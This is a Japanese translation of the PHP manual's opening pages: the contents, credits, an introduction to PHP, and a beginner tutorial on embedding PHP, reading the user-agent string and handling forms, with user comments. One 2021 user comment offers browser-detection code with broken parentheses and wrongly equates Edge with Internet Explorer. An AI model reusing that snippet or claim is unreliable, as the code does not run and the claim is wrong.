PHP マニュアル

著者:
Mehdi Achour
Friedhelm Betz
Antony Dovgal
Nuno Lopes
Hannes Magnusson
Georg Richter
Damien Seguy
Jakub Vrana
その他
2021-03-15
編集: Peter Cowburn
PHP マニュアル翻訳プロジェクト
© 1997-2021 the PHP Documentation Group
  • 著作権
  • PHP マニュアル
    • 序文
  • はじめに
    • 入門
    • 簡易チュートリアル
  • インストールと設定
    • インストールにあたっての一般的な注意事項
    • Unix システムへのインストール
    • macOS へのインストール
    • Windows システムへのインストール
    • クラウドコンピューティングプラットフォームへのインストール
    • FastCGI Process Manager (FPM)
    • PECL 拡張モジュールのインストール
    • 問題が起きた場合
    • 実行時設定
  • 言語リファレンス
    • 基本的な構文
    • 型
    • 変数
    • 定数
    • 式
    • 演算子
    • 制御構造
    • 関数
    • クラスとオブジェクト
    • 名前空間
    • エラー
    • 例外(exceptions)
    • ジェネレータ
    • アトリビュート
    • リファレンスの説明
    • 定義済の変数
    • 定義済みの例外
    • 定義済みのインターフェイスとクラス
    • コンテキストオプションとパラメータ
    • サポートするプロトコル/ラッパー
  • セキュリティ
    • はじめに
    • 一般的な考慮事項
    • CGI バイナリとしてインストール
    • Apache モジュールとしてインストール
    • セッションのセキュリティ
    • ファイルシステムのセキュリティ
    • データベースのセキュリティ
    • エラーのレポート
    • ユーザーが投稿したデータ
    • PHPの隠蔽
    • 最新版を維持する
  • 機能
    • PHP による HTTP 認証
    • クッキー(Cookies)
    • セッション
    • XFormsの処理
    • ファイルアップロードの処理
    • リモートファイルの使用
    • 接続処理
    • 持続的データベース接続
    • コマンドラインの使用法 — PHP をコマンドラインから使用する
    • ガベージコレクション
    • DTrace 動的トレーシング
  • 関数リファレンス
    • PHP の振る舞いの変更
    • 音声フォーマットの操作
    • 認証サービス
    • コマンドライン関連
    • 圧縮およびアーカイブ
    • 暗号
    • データベース関連
    • 日付および時刻関連
    • ファイルシステム
    • 自然言語および文字エンコーディング
    • 画像処理および作成
    • メール関連
    • 数学
    • テキスト以外の MIME 型
    • プロセス制御
    • その他の基本モジュール
    • その他のサービス
    • 検索エンジン用の拡張モジュール
    • サーバー固有のモジュール
    • セッション関連
    • テキスト処理
    • 変数・データ型関連
    • ウェブサービス
    • Windows 用のモジュール
    • XML 操作
    • GUI用の拡張モジュール
  • FAQ — FAQ: よくある質問
    • 一般的な情報
    • メーリングリスト
    • PHP を手に入れるには
    • データベースに関する問題
    • インストール
    • 構築時の問題
    • PHP の使いかた
    • パスワードのハッシュ — 安全なパスワードハッシュ
    • PHP と HTML
    • PHP と COM
    • その他の質問
  • 付録
    • PHP の歴史と関連するプロジェクト
    • PHP 7.4.x から PHP 8.0.x への移行
    • PHP 7.3.x から PHP 7.4.x への移行
    • PHP 7.2.x から PHP 7.3.x への移行
    • PHP 7.1.x から PHP 7.2.x への移行
    • PHP 7.0.x から PHP 7.1.x への移行
    • PHP 5.6.x から PHP 7.0.x への移行
    • PHP 5.5.x から PHP 5.6.x への移行
    • PHP のデバッグ
    • Configure オプション
    • php.ini ディレクティブ
    • 拡張モジュールの一覧/分類
    • 関数エイリアスのリスト
    • 予約語の一覧
    • リソース型の一覧
    • 利用できるフィルタのリスト
    • サポートされるソケットトランスポートのリスト
    • PHP 型の比較表
    • パーサトークンの一覧
    • ユーザーレベルでの命名の手引き
    • マニュアルについて
    • Creative Commons Attribution 3.0
    • 索引
    • 変更履歴
  • HTML ヘルプ版
    • このヘルプについて
    • CHM版 の PHPマニュアル を使う
    • 全文検索
    • Integrating the PHP Manual

User Contributed Notes

There are no user contributed notes for this page.


著作権

Copyright © 1997 - 2021 by the PHP Documentation Group. この著作物は、Creative Commons Attribution 3.0 か それ以降で指定された条件と制約に従う限り配布することができます。 Creative Commons Attribution 3.0 license のコピーは本マニュアルとともに配布されており、 ライセンスの最新版は現在のところ、 » http://creativecommons.org/licenses/by/3.0/ で入手可能です。

修正の有無に関わらず本文書の全体または一部を再配布または再出版したい場合や、 質問がある場合には、 » doc-license@lists.php.net 宛で著作権者まで連絡をしてください。 このアドレスは、一般にアーカイブが公開されているメーリングリストへマップされていることに 注意して下さい。

(訳注)本日本語訳の記述内容により生じたいかなる損害についても 著作権所有者および翻訳者は責任を負いません。

User Contributed Notes

There are no user contributed notes for this page.


PHP マニュアル

  • 序文

User Contributed Notes

There are no user contributed notes for this page.


序文

PHP は、"PHP: Hypertext Preprocessor" を意味し、広く使用されているオープンソースの汎用スクリプト言語です。 HTML に埋め込むことができ、Web アプリケーションの開発に特に適しています。 PHP の構文の多くは C、Java、Perl 言語から転用したもので、 簡単に習得することができます。この言語は、動的に生成されるウェブページを Web 開発者が速やかに作成できるようにすることを主な目標として つくられました。しかし、それだけにとどまらず、 もっと多くのことを PHP を使って行うことができます。

このマニュアルは、 関数リファレンス を中心として、言語リファレンス、 PHP の主な機能、 そして、その他の 付録 から構成されています。

本マニュアルを様々な形式で » https://www.php.net/download-docs.php からダウンロードすることが出来ます。 このマニュアルがどのように作成されているか、といった詳細な情報は 付録の 本マニュアルについて にあります。 PHP の歴史 に興味がある場合は、 関連する付録も参照して下さい。

著者と貢献者

我々は、現在最も活動的な人々をこのマニュアルの先頭に掲げています。 しかし、他にも多くの我々の活動を支援してくれる人がおり、 また、過去にこのプロジェクトを支援してくれた人がいます。 マニュアルのユーザー注記により支援してくれた名前がわからない人々がいますが、 彼らの支援は非常に有益です。以下に掲げたリストはアルファベット順です。

著者と編集者

以下の方々は本マニュアルに ついてコンテンツを提供したことで大きな貢献をしています。 Bill Abt, Jouni Ahto, Alexander Aulbach, Stig Bakken, George Peter Banyard, Christoph M. Becker, Daniel Beckham, Nilgun Belma Buguner, Jesus M. Castagnetto, Ron Chmara, Sean Coates, John Coggeshall, Simone Cortesi, Peter Cowburn, Daniel Egeberg, Markus Fischer, Wez Furlong, Sara Golemon, Rui Hirokawa, Brad House, Pierre-Alain Joye, Etienne Kneuss, Moriyoshi Koizumi, Rasmus Lerdorf, Andrew Lindeman, Stanislav Malyshev, Justin Martin, Rafael Martinez, Rick McGuire, Moacir de Oliveira Miranda Junior, Kalle Sommer Nielsen, Yasuo Ohgaki, Philip Olson, Richard Quadling, Derick Rethans, Rob Richards, Sander Roobol, Egon Schmid, Thomas Schoefbeck, Sascha Schumann, Dan Scott, Masahiro Takagi, Yoshinari Takaoka, Yannick Torres, Michael Wallner, Lars Torben Wilson, Jim Winstead, Jeroen van Wolffelaar そして Andrei Zmievski.

以下の方々は本マニュアルについて多くの編集作業を行ったことで大きな貢献を しています。 Stig Bakken, Gabor Hojtsy, Hartmut Holzgraefe, Philip Olson そして Egon Schmid.

ユーザー注記の管理者

現在最もアクティブな管理者。 Daniel Brown, Nuno Lopes, Felipe Pena, Thiago Pojda そして Maciek Sokolewicz.

以下の方々もユーザー注記の管理に注力してくれました。 Mehdi Achour, Daniel Beckham, Friedhelm Betz, Victor Boivie, Jesus M. Castagnetto, Nicolas Chaillan, Ron Chmara, Sean Coates, James Cox, Vincent Gevers, Sara Golemon, Zak Greant, Szabolcs Heilig, Oliver Hinckel, Hartmut Holzgraefe, Etienne Kneuss, Rasmus Lerdorf, Matthew Li, Andrew Lindeman, Aidan Lister, Hannes Magnusson, Maxim Maletsky, Bobby Matthis, James Moore, Philip Olson, Sebastian Picklum, Derick Rethans, Sander Roobol, Damien Seguy, Jason Sheets, Tom Sommer, Jani Taskinen, Yasuo Ohgaki, Jakub Vrana, Lars Torben Wilson, Jim Winstead, Jared Wyles そして Jeroen van Wolffelaar.

翻訳者

本マニュアルの日本語への翻訳は、PHP マニュアル翻訳プロジェクトにて行われています。 主な翻訳者は、以下の通りです（名前のアルファベット順）。

Chihiro Higuchi, Haruki Setoyama, Hideyuki Shimooka, Kazuhiro Ogura, Machino Satoshi, Masaharu Iwai, Masahiro Takagi, Masaki Fujimoto, Masaki Kagaya, Michihide Hotta, Moriyoshi Koizumi, Rui Hirokawa, Satoru Yoshida, Shigeru Kanemoto, Tadashi Jokagi, Takashi Iwamoto, Yasuo Ohgaki, Yoshinari Takaoka, Yu Watanabe, Yuji Uchiyama, Yusuke Hata.

User Contributed Notes

There are no user contributed notes for this page.


はじめに

  • 入門
    • PHP とはなんでしょう?
    • PHPにできることは?
  • 簡易チュートリアル
    • 必要なものは?
    • PHP を使用する初めてのページ
    • 実用的な例
    • フォームの処理
    • 新しいバージョンの PHP で古いコードを使用する
    • 次にするべきことは?

User Contributed Notes

There are no user contributed notes for this page.


入門

目次

  • PHP とはなんでしょう?
  • PHPにできることは?

User Contributed Notes

There are no user contributed notes for this page.


PHP とはなんでしょう?

PHP (PHP: Hypertext Preprocessor を再帰的に略したものです) は、広く使われているオープンソースの汎用スクリプト言語です。 PHP は、特に Web 開発に適しており、HTML に埋め込むことができます。

で、結局のところどういう意味なのでしょう? 以下に例を示します。

例1 初歩的な例

<!DOCTYPE html>
<html>
    <head>
        <title>Example</title>
    </head>
    <body>

        <?php
            echo "Hi, I'm a PHP script!";
        ?>

     </body>
</html>

HTMLを出力するために多くのコマンドを記述する (C や Perl のように) 代わりに、PHP のページは "何か" (この例では、"Hi, I'm a PHP script!" と出力) を行うコードを HTML に埋め込むことになります。 PHP のコードは特別な 開始および終了の処理命令 <?php と ?> で囲まれており、これによって "PHP モード" の切り替えを行います。

PHP がクライアントサイド JavaScript のようなものと異なっている点は、 コードがサーバーで実行され、その結果がクライアントに送信されるということです。 クライアントは、スクリプトを実行した結果を受け取りますが、 その出力を作成したコードがどんなものなのかを知ることはできません。 全てのHTMLファイルをPHPで処理するようにWebサーバー を設定することさえ可能で、この場合、ユーザーが袖の内に何があるかを 見分けることは不可能になることでしょう。

PHPを使用する上で最も優れている点は、初心者に対しては非常に分かり 易いと同時に、プロフェッショナルのプログラマに対しては多くの進んだ 機能を提供している点です。PHPの機能を羅列した長い一覧表を読まなけ ればならないのかと心配する必要はありません。PHPはすぐに始められま すし、数時間の内に簡単なスクリプトが書けるようになります。

PHPを使用した開発ではサーバーサイドでの動作に焦点が当てられますが、 他にも多くのことが可能です。 PHPにできることは?まで読み進めてみてください。 Webプログラミングのみに関心がある場合には、 簡易チュートリアルに進んでください。

User Contributed Notes

There are no user contributed notes for this page.


PHPにできることは?

あらゆることができます。PHPでは主にサーバーサイドでの活用に焦点が 当てられているため、フォームからデータを取得したり、動的にページ の内容を生成したり、クッキーを送信・受信するといった他のCGI プログラムに出来ることは全て行うことが出来ます。しかし、これが 全てではありません。

PHPスクリプトが使用される場所は主に3つあります。

  • サーバーサイドでのスクリプティング。これは最も古くからあり PHPの中心となる分野です。ここでPHPを動作させるには 3つのものが必要です。PHPパーサ(CGIもしくはサーバーモジュール)、 ウェブサーバー、そしてブラウザです。ウェブサーバーは インストールされたPHPと連結して起動されなければなりません。 ブラウザでウェブサーバーにアクセスし、PHPページを閲覧することで PHPプログラムの出力を得ることが出来ます。インストール手順の章に詳しい 情報があります。
  • コマンドラインでのスクリプティング。PHPスクリプトは サーバーもブラウザも無しで動作させるようにすることも出来ます。 この場合、PHPパーサだけが必要となります。このタイプは cron(Windowsではタスクスケジューラ)を使用して一定間隔で スクリプトを実行したい場合や、ちょっとした文書処理を 行うのに最適な方法です。 コマンドラインでPHPを使うの章に詳しい情報があります。
  • クライアントサイドでのGUIアプリケーション。PHPはおそらく ウィンドウを使用したアプリケーションを書くのに最適な言語 では無いと思いますが、PHPに非常に慣れている場合には、そして PHPの進んだ機能をクライアントサイドでのアプリケーションで 使用した場合にはPHP-GTKを使ってプログラムを書くことが出来ます。 同様の方法でクロスプラットフォームなアプリケーションを書く ことも出来ます。PHP-GTKはPHPを拡張するもので、通常の ディストリビューションには含まれません。もし興味があるなら » PHP-GTKのサイトを 訪れてみてください。

PHPは Linux, 多くのUnix系システム(HP-UX, Solaris, OpenBSD等), Microsoft Windows, macOS, RISC OS, その他全ての有名なOSで 動作します。 PHPはまた現在使用されているほとんど全てのウェブサーバーを サポートします。Apache や IIS、その他多くのサーバーをです。 また、FastCGI PHP バイナリを使える lighttpd や nginx などにも対応しています。PHP はモジュールとしても動作しますし、 CGI としても動作します。

つまりPHPを使用する場合にはOSとウェブサーバーを自由に選ぶことが出来ます。 さらに手続き型のプログラミングかオブジェクト指向のプログラミングか、 もしくはそれらを混在させるかといった選択を行うこともできます。

PHPはHTMLを出力するだけではありません。PHPはイメージやPDFファイル、 そして(libswfやMingを使って)Flashムービーまでもをその場で生成する 機能を備えています。またXHTMLやXMLといったその他の文書も自動的に 生成することが出来ますし、ファイルシステムに保存したり、印刷したり サーバー側でキャッシュすることも出来ます。

PHP の機能の中で最も強力で優れているのは、 広範なデータベースをサポートしている ことでしょう。データベース機能を用いたWebページの作成は非常に簡単です。 データベースごとに用意された拡張モジュール (e.g., for mysql) を使うこともできれば PDO のような抽象化レイヤーを使うこともでき、 ODBC に対応しているデータベースなら ODBC 拡張モジュールを使って接続することもできます。その他には、 cURL あるいは ソケット を使う CouchDB のような例もあります。

PHP は、IMAP、SNMP、NNTP、POP3、HTTP、COM (Windowsのみ) やその他 数え切れない程多くのプロトコルを用いる他のサービスの状態を追跡する 機能もサポートしています。低レベルのネットワークソケットをオープンし、 他のプロトコルを用いて通信を行うことも可能です。また、PHPはWDDXを サポートし、基本的に全てのウェブプログラミング言語間で複雑なデータ交換 を行うことができます。相互接続機能としては、他にJavaオブジェクトの インスタンスを作成してそれをPHPのオブジェクトとして透過的にアクセス する機能があります。

PHP には便利な テキスト処理 機能が用意されています。 Perl 互換の正規表現 (PCRE) や、 XML 文書のパースや XML 文書へのアクセス のための数多くの拡張モジュール・ツールなどです。PHP の XML 関連の拡張モジュールはすべて libxml2 をベースとしており、その機能を継承して SimpleXML や XMLReader、そして XMLWriter がサポートされています。

他にも興味深い拡張モジュールがあり、 アルファベット順 および カテゴリ別 のページで調べることができます。またさらに、PECL 拡張モジュールの中には » XDebug などのように PHP のマニュアルに記載されていないものもあります。

お分かりの通り、このページではPHPの機能やPHPを使用することの利点を全て 紹介することは出来ません。PHPのインストール の章を読んでみてください。紹介された拡張モジュールに関しては関数リファレンスを読んでみてください。

User Contributed Notes

There are no user contributed notes for this page.


簡易チュートリアル

目次

  • 必要なものは?
  • PHP を使用する初めてのページ
  • 実用的な例
  • フォームの処理
  • 新しいバージョンの PHP で古いコードを使用する
  • 次にするべきことは?

ここで、PHP の基礎の基礎について簡単なチュートリアルで説明したいと思います。 PHP は Web ページを作成する機能だけを有しているわけではありませんが、 ここでは PHP で動的な Web ページを作成することのみを扱います。詳細は、 PHP でできること と題するセクションを参照してください。

PHP を使用できる Web ページは、通常の HTML ページと全く同様に扱われ、 通常の HTML ページを作成するのと同様の方法で編集することができます。

User Contributed Notes

Anonymous 22-Feb-2021 09:41
PHP just directly points to  what I need to refurbish my website. This is perfect!
Anonymous 18-Feb-2021 11:41
This coding is basic with not much help when it comes to the understanding and coding advanced websites or code.


必要なものは?

本チュートリアルでは、使用するサーバーで PHP が使用可能であり、 .php で終わる全てのファイルが PHP で処理されることを仮定します。多くのサーバーでは、PHP ファイルに関してこれがデフォルトの拡張子ですが、 確実なのはサーバーの管理者にきいてみることです。サーバーが PHP をサポートする場合、何もする必要はありません。 .php ファイルを 作成して Web ディレクトリに置くだけで、 サーバーがこれを自動的にパースしてくれます。 何もコンパイルする必要はなく、他のツールをインストールする必要もありません。 PHP のファイルは、あなたが行なう全ての処理を実装した特殊なタグを通常の HTML ファイルに追加したものと考えると良いでしょう。

ここでは、貴重なネットワーク帯域を節約するために、 ローカルに開発を行うことにしましょう。この場合、 » Apache のような Web サーバーと、 当然、» PHP をインストールすることになります。また、多くの場合には、 » MySQL のようなデータベースもインストールすることになるでしょう。

これらは個別にインストールすることもできますし、 より簡単な方法でインストールすることも可能です。 このマニュアルには、 PHP のインストール手順 (Web サーバーが設定済みであると仮定しています) があります。 PHP 自体をインストールする際に問題が発生した場合、 » インストールに関する メーリングリストで質問することをお薦めします。 より簡単にインストールを行いたい場合には、 使用するオペレーティングシステム用の » 設定済みのパッケージ を利用することもできます。これにより、 数回のマウスクリックで自動的にこれらをインストールすることができます。 MacOSX、Linux や Windows を含む、あらゆるオペレーティングシステムにおいて Web サーバーで PHP を使用できるように設定することは簡単です。 Linux の場合、RPM の場所を知るために » rpmfind と » PBone が有用でしょう。 Debian 用パッケージをみつけるには、» apt-get にアクセスするとよいでしょう。

User Contributed Notes

There are no user contributed notes for this page.


PHP を使用する初めてのページ

以下の内容で hello.php という名前のファイルを作成し、Web サーバーのルートディレクトリ (DOCUMENT_ROOT) に置いてください。

例1 初めての PHP スクリプト: hello.php

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
 <?php echo '<p>Hello World</p>'; ?>
 </body>
</html>

ブラウザを使用して、/hello.php で終わる Web アクセス用 URL を指定し、 このファイルにアクセスしてください。 ローカルに開発を行っている場合、この URL は http://localhost/hello.php または http://127.0.0.1/hello.php のようになります。 しかし、これは Web サーバーの設定に依存します。 全てが正しく設定されている場合、 このファイルは PHP によりパースされ、以下の出力がブラウザに送信されます。

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
 Hello World<p>
 </body>
</html>

このプログラムは非常に簡単なので、実際には、このようなページを 作成するために PHP を使用する必要はありません。 Hello World を PHP の echo 命令により出力しているだけです。 このファイルは、実行ファイルまたは特殊なファイルとする必要がないことに注意してください。 このファイルが拡張子 ".php" を有し、このファイルが PHP に渡される必要があると設定されているため、サーバーは PHP により解釈されるファイルを見付けることができます。 このファイルは、多くの面白いことを可能にする特別なタグを利用できる、 通常の HTML ファイルと考えることができます。

この例を試しても何も出力されない場合、または、 ダウンロード用のプロンプトが表示されるか、 テキストとしてファイル全体が表示された場合、 利用しているサーバーで PHP が利用できない可能性があります。本マニュアルの インストール の章により PHP を利用できるようにするよう管理者にきいてみてください。 ローカルに開発を行っている場合も、 インストールの章を読んで設定が全て正しく行われていることを確認してください。 解決しない問題がある場合は、多くの » PHP サポート の選択肢のどれかを利用してみてください。

この例の目的は、特殊な PHP タグ形式を示すことです。 この例では、<?php が PHP タグの開始を示しています。この後、PHP 命令を置き、終了タグ ?> を記述することにより、PHP モードを抜けています。 このように任意の場所で PHP モードを抜けて HTML ファイルに移ることができます。詳細は、 基本的な構文のセクションを参照ください。

注意: 改行に関する注意

HTML においては改行にはほとんど意味がありません。ただ、 HTML の見栄えをよくするためにも適宜改行を入れておくとよいでしょう。 ?> の直後の改行は、PHP によって取り除かれます。 複数の PHP ブロックを使用している場合や、 何かを出力するのかどうかがわからないファイルを include する際などに、 この挙動は非常に便利です。と同時に少々混乱するかもしれません。 強制的に改行させるには、?> の後に空白を置くか、 あるいは PHP ブロック内の最後の echo/print で明示的に改行を出力します。

注意: テキストエディタに関する注意

PHP ファイルを作成、編集、監理する際に使用できる、 多くのテキストエディタや統合開発環境 (IDE) があります。 これらのツールのリストの一部は、» PHP エディタのリスト で整理されています。あるエディタを推薦したい場合、上記のページを訪れ、 ページの監理者にそのエディタをリストに加えてくれないかとたずねてみてください。

注意: ワードプロセッサに関する注意

StarOffice Writer, Microsoft Word および Abiword のようなワードプロセッサは、PHP ファイルの編集には向いていません。 これらのワープロ上でテストスクリプトを編集する場合は、 ファイルをプレーンテキストとして保存していることを確認してください。 さもないと、PHP はスクリプトを読み込んで実行できません。

注意: Windows のメモ帳に関する注意

Windows のメモ帳を使用して PHP スクリプトを書く場合には、ファイルに 拡張子 .php を付けて保存したかどうかを確認する必要があります (メモ帳は、以下の防止策のどらかを適用しない限り、拡張子 .txt を自動的に付加します)。ファイルを保存する際に、 ファイル名を入力するプロンプトでファイル名を引用符で括ります (すなわち、"hello.php" とします)。 もしくは、保存ダイアログボックスにおいてドロップダウンメニュー "テキスト文書"をクリックし、"すべてのファイル" に設定を変更します。 これにより、引用符を付けずにファイル名を入力することができます。

さて、動作する簡単な PHP スクリプトを作成することができましたので、 最も有名な PHP スクリプトを作成してみましょう! phpinfo() 関数をコールすることにより、 定義済み変数、 ロードされている PHP モジュール、設定 等のシステムに関する多くの有用な情報を得ることができます。 この重要な情報を見てみてください。

例2 PHP からシステムに関する情報を取得する

<?php phpinfo(); ?>

User Contributed Notes

There are no user contributed notes for this page.


実用的な例

次に、より実用的なことをしてみましょう。 ページを見ているユーザーが使用しているブラウザの種類を確認してみます。 これを行なうには、ブラウザが HTTP リクエストの一部として送信した user agent 文字列を調べます。 この情報は、変数 に保存されています。PHP では、変数名は常にドル記号で始まります。 ここで使用する変数は、$_SERVER['HTTP_USER_AGENT'] です。

注意:

$_SERVER は、 Web サーバー関連情報を全て保持する PHP の特別な予約変数です。詳細は、 スーパーグローバル を参照してください。 これらの特別な変数は、» 4.1.0 で導入されました。これ以前は、 $HTTP_SERVER_VARS のような古い配列 $HTTP_*_VARS を代わりに使用していました。 PHP 5.4.0 で、これらの古い変数は削除されました (古いコードに関する注記も 参照してください)。

この変数を表示するには、以下のようにします。

例1 変数を出力する (配列要素)

<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>

このスクリプトの出力例は以下のようになります。

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

PHP で利用可能な変数の型 には多くの種類があります。上の例では、 配列 の要素を出力しています。配列は、非常に有用です。

$_SERVER は、PHP で自動的に利用可能な変数のひとつに過ぎません。マニュアルの 定義済の変数 のセクションでリストを参照することができます。 あるいは、完全なリストを取得するには、さきほどのセクションで使用した phpinfo() 関数の出力を確認します。

PHP タグの中に複数の PHP 命令を置くことができ、echo 文以上のことを行なうコードブロックを作成することができます。 例えば、インターネット・エクスプローラかどうかを調べたい場合は、 以下のようにします。

例2 制御構造 および 関数の使用例

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) {
  echo 'あなたはInternet Explorerを使用しています<br />';
}
?>

このスクリプトの出力例は以下のようになります。

あなたはInternet Explorerを使用しています<br />

ここで、新しい概念をいくつか導入します。 if 文を使用しています。 C 言語の基本構文を知っているとしたら、理解できると思います。 C 言語や上記の構文を使用する他の言語をあまり知らない場合には、 PHP の入門書を手にとって最初の数章を読むか、このマニュアルの 言語リファレンスの部分を読むべきです。

二番目の新しい概念は、strpos() 関数のコールです。 strpos() は PHP に組み込まれた関数で、 文字列の中である文字列を探します。この場合、 $_SERVER['HTTP_USER_AGENT'] (いわゆる干し草の山 【haystack】) の中で "MSIE" (いわゆる針【needle】) を探しています。 この文字列が見つかった場合、 この関数はこの関数は文字列の相対的な位置を返し、 見つからなかった場合には false を返します。 この関数が false を返さなければ、 if 文は true と評価し、その{波括弧}の中のコードが実行されます。 そうでない場合は、実行されません。 if, else と strtoupper() や strlen() のような他の関数で、似たような例を作ってみてください。 関連するマニュアルの各ページにも例が載っています。 関数の使用法に自信がない場合には、マニュアルの 関数定義の読み方および PHP関数のセクションの両方を 読んでみると良いでしょう。

この例を少し発展させて、PHP ブロックの中からでも PHP モードから出たり入ったりすることができることを以下に示します。

例3 HTML および PHP モードの両方を混在させる

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) {
?>
<h3>strposが非falseを返しました</h3>
<center><b>あなたはInternet Explorerを使用しています</b></center>
<?php
} else {
?>
<h3>strposがfalseを返しました</h3>
<center><b>あなたはInternet Explorerを使用していません</b></center>
<?php
}
?>

この例の出力は以下のようになります。

<h3>strposが非falseを返しました</h3>
<center><b>あなたはInternet Explorerを使用しています</b></center>

何かを出力する際に PHP の echo 文を使用する代わりに、PHP モードを抜けて通常の HTML を送信しています。ここで注意すべき重要で強力な点は、 スクリプトの論理フローが損なわれないということです。 strpos() が true または false のどちらを返すか、言い換えるとMSIE が見つかったかどうかに基づき、HTML ブロックだけが見る側に送信されることになります。

User Contributed Notes

safisiddiqui6 at gmail dot com 07-Mar-2021 08:53
In 2021, when we output the HTTP_USER_AGENT using IE, we get :

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36 Edg/89.0.774.45

So In order to look for IE in 2021, we write:

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Edg') !== FALSE {
    echo 'You are using Internet Explorer.<br />';
}
?>

Or If we want to include old IEs we can use Declan's Support:

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE ||
    strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== FALSE) ||
    strpos($_SERVER['HTTP_USER_AGENT'], 'Edg') !== FALSE {
    echo 'You are using Internet Explorer.<br />';
}
?>
bhakti at example dot com 27-Jul-2020 04:05
Never use === TRUE or compare with TRUE as being the result.
Declan Kelly 22-May-2014 12:03
Please note that Internet Explorer 11 no longer contains MSIE in its user agent string, for example on Windows 8 with IE11 I get the following:

Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

So if you want to include a test for IE11, the code above changes to:

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE ||
    strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== FALSE) {
    echo 'You are using Internet Explorer.<br />';
}
?>


フォームの処理

PHP の最も強力な機能の一つは、HTML フォームを処理する手段です。 理解するべき重要な基本概念は、あるフォームの中の全てのフォーム要素が、 自動的に PHP スクリプトで利用可能になるということです。 詳細は、マニュアルのセクション 外部から来る変数 および PHP でフォームを使用する例を参照してください。以下に HTML フォームの例を示します。

例1 簡単な HTML フォーム

<form action="action.php" method="post">
 名前: <input type="text" name="name" />
 年齢: <input type="text" name="age" />
 <input type="submit" />
</form>

このフォームに関して特別なところはありません。これは通常の HTML フォームで特殊なタグは全く使用していません。 ユーザーがこのフォームを記入し、投稿ボタンを押した時、 action.php ページがコールされます。 このファイルには、以下のようなコードを記述します。

例2 フォームからのデータを出力する

こんにちは、<?php echo htmlspecialchars($_POST['name']); ?>さん。
あなたは、<?php echo (int)$_POST['age']; ?> 歳です。

このスクリプトの出力例は次のようになります。

こんにちは、Joe さん。あなたは、22 歳です。

htmlspecialchars() および (int) の部分以外は、何を行っているかは明らかでしょう。 htmlspecialchars() は、html での特殊な文字を適切にエンコードし、 HTML タグや Javascript をページ内に仕込めないようにします。 また、age フィールドには数値が入ることがわかっているので、これを int 型に 変換 します。これにより、おかしな文字が入力されることを防ぎます。 これらの処理を PHP に自動的に行わせるためには、 filter 拡張モジュールを使用します。 変数 $_POST['name'] と $_POST['age'] は PHP により自動的に設定されます。 前の部分では、スーパーグローバル$_SERVER を使用しましたが、 ここでは、全ての POST データを保持するスーパーグローバル $_POST を導入しています。 フォームのメソッドが POST であることに注意してください。 GET メソッドを使用している場合、 フォームの情報は代わりにスーパーグローバル $_GET に代入されます。リクエストデータの発信源に留意しない場合には、 スーパーグローバル変数 $_REQUEST を使用することもできます。この変数は、GET, POST, COOKIE, FILE データの混ざったものが含まれます。

XForms の入力を PHP で扱うことも可能ですが、たいていの場合は HTML フォームのほうが快適に使用できるでしょう。 XForms は初心者向けのものではありませんが、気になる人もいるかもしれません。 機能概要の節にある XForm から受信したデータの処理方法 を参照ください。

User Contributed Notes

nucc1 12-Jun-2017 08:24
worth clarifying:

POST is not more secure than GET.

The reasons for choosing GET vs POST involve various factors such as intent of the request (are you "submitting" information?), the size of the request (there are limits to how long a URL can be, and GET parameters are sent in the URL), and how easily you want the Action to be shareable -- Example, Google Searches are GET because it makes it easy to copy and share the search query with someone else simply by sharing the URL.

Security is only a consideration here due to the fact that a GET is easier to share than a POST. Example: you don't want a password to be sent by GET, because the user might share the resulting URL and inadvertently expose their password.

However, a GET and a POST are equally easy to intercept by a well-placed malicious person if you don't deploy TLS/SSL to protect the network connection itself.

All Forms sent over HTTP (usually port 80) are insecure, and today (2017), there aren't many good reasons for a public website to not be using HTTPS (which is basically HTTP + Transport Layer Security).

As a bonus, if you use TLS  you minimise the risk of your users getting code (ADs) injected into your traffic that wasn't put there by you.
Johann Gomes (johanngomes at gmail dot com) 11-Oct-2010 07:20
Also, don't ever use GET method in a form that capture passwords and other things that are meant to be hidden.
sethg at ropine dot com 01-Dec-2003 12:55
According to the HTTP specification, you should use the POST method when you're using the form to change the state of something on the server end. For example, if a page has a form to allow users to add their own comments, like this page here, the form should use POST. If you click "Reload" or "Refresh" on a page that you reached through a POST, it's almost always an error -- you shouldn't be posting the same comment twice -- which is why these pages aren't bookmarked or cached.

You should use the GET method when your form is, well, getting something off the server and not actually changing anything.  For example, the form for a search engine should use GET, since searching a Web site should not be changing anything that the client might care about, and bookmarking or caching the results of a search-engine query is just as useful as bookmarking or caching a static HTML page.


新しいバージョンの PHP で古いコードを使用する

今や PHP は有名なスクリプト言語となってきており、 各自のスクリプトで再利用可能なコードとして、 多くのリソースが公開されています。PHP 言語の開発者の大部分は、 過去のバージョンとの互換性を保とうとしており、 過去のバージョン用に書かれたスクリプトは (理想的には) より新しいバージョンの PHP で変更せずに動作するはずです。 しかし、実際には、通常いくつかの変更が必要となります。

古いコードに影響を与える最近の重要な二つの変更点を以下に示します。

  • 古い形式の配列 $HTTP_*_VARS は、PHP 5.4.0 以降使えなくなりました。 以下の スーパーグローバル 配列が » 4.1.0 で導入されました。これらを以下に示します。 $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_REQUEST, $_SESSION.
  • 外部変数は、もはやデフォルトでグローバルスコープに登録されません。 言い換えると、PHP » 4.2.0 以降、PHP ディレクティブ register_globals は、 php.ini においてデフォルトで off となっています。 外部変数の値にアクセスするときには、 先ほど説明したスーパーグローバル配列を使うことを推奨します。 古いスクリプトや本、 チュートリアルはこのディレクティブに依存している可能性があります。 このディレクティブが on の場合、 例えば、URL http://www.example.com/foo.php?id=42 から $id を使用することができます。 on、off によらず $_GET['id'] は利用可能です。
